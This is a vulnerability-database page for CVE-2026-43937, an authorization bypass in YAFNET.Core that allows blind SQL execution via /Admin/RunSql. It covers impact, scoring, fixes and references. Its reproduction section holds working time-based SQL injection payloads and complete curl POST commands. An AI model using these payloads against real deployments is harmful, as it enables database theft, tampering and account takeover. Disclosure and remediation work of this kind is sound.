CVE-2026-43937 — Vulnerability in YAFNET.Core — CVE Details
YAFNET: Pre-Handler Authorization Bypass on Admin Pages Enables Blind SQL Execution via `/Admin/RunSql`
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.64%). Schedule for your next planned update.
Does your project use an affected YAFNET.Core version?
Paste your packages.lock.json to check it for CVE-2026-43937 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Issue Details:
YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.
A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.
Impact:
An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.
Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.
Steps to Reproduce:
- Register or log in to the forum as any low-privileged user.
- Acquire the standard
__RequestVerificationTokentoken from any rendered page and the cookies. - Use the following CURL command:
Payload:
IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'(77 is the character M) URL Encoded Payload:%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27
curl.exe --path-as-is -i -s -k -X POST `
-H 'Host: yetanotherforum.internal:8080' `
-H 'User-Agent: curl/8.18.0' `
-H 'Accept: */*' `
-H 'Content-Type: application/x-www-form-urlencoded' `
-H 'Content-Length: 428' `
-H 'Connection: keep-alive' `
-b '<Replace with Cookies>' `
--data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
-w '\n----\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code: %{http_code}\n' `
'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'
Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L)
URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27
curl.exe --path-as-is -i -s -k -X POST `
-H 'Host: yetanotherforum.internal:8080' `
-H 'User-Agent: curl/8.18.0' `
-H 'Accept: */*' `
-H 'Content-Type: application/x-www-form-urlencoded' `
-H 'Content-Length: 428' `
-H 'Connection: keep-alive' `
-b '<Replace with Cookies>' `
--data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
-w '\n----\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code: %{http_code}\n' `
'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'
Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.
Remediation:
- Convert
PageSecurityCheckAttributefrom aResultFilterAttributeto anIAsyncPageFilterso the admin check runs inOnPageHandlerExecutionAsyncand short-circuits withAccessDenied()before any handler side effects occur. - Layer an ASP.NET Core authorization policy as defense-in-depth:
AddAuthorization(... AddPolicy("YafAdmin", ...))combined withAuthorizeFolder("/Admin", "YafAdmin")in the Razor Pages conventions. - Restrict
/Admin/RunSqltoHostAdminonly and wrapIDbAccess.RunSqlin a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins. - Audit and fix any other authorization logic implemented in
ResultFilterAttribute/OnResultExecuting(Async), they share the same lifecycle bug. - Add regression tests that invoke each admin
OnPost…handler as a non-admin and assert no database or filesystem side effects occur.
Advisory Timeline
- First published May 5, 2026 (205 days ago).
- Last revised May 13, 2026 — 8 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
dotnet add package YAFNET.Core --version 4.0.5
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: NuGet (1).
| Package | Fixed In |
|---|---|
| YAFNET.Core NuGet · Affected: 4.0.0, 4.0.0-beta03, 4.0.0-beta04, 4.0.0-beta05 (+12 more) | 4.0.5 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-841
- CWE-89SQL InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/YAFNET/YAFNET/security/advisories/GHSA-xhw7-j96h-c3g5WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-43937ADVISORY
- https://github.com/YAFNET/YAFNET/commit/27f7e671f93698f7e014d5d0fb88320248b8aa20WEB
- https://github.com/YAFNET/YAFNETPACKAGE
- https://github.com/YAFNET/YAFNET/releases/tag/v4.0.5WEB
Frequently Asked Questions
- What is CVE-2026-43937?
- YAFNET: Pre-Handler Authorization Bypass on Admin Pages Enables Blind SQL Execution via `/Admin/RunSql`. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-43937?
- CVE-2026-43937 affects YAFNET.Core. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-43937 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 45.1% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-43938HIGH
YAFNET has Unauthenticated Stored Second-Order XSS in Admin Event Log via Reflected `User-Agent` Header
- CVE-2026-102529HIGH
HtmlSanitizer: CSS Removal DoS
- CVE-2026-43939HIGH
YAFNET has Stored XSS in Forum Thread Posts/Replies that Allows Arbitrary JavaScript Execution for All Thread Viewers
- CVE-2026-63184HIGH
Refitter: Unrestricted OpenAPI references permit build-host SSRF and file inclusion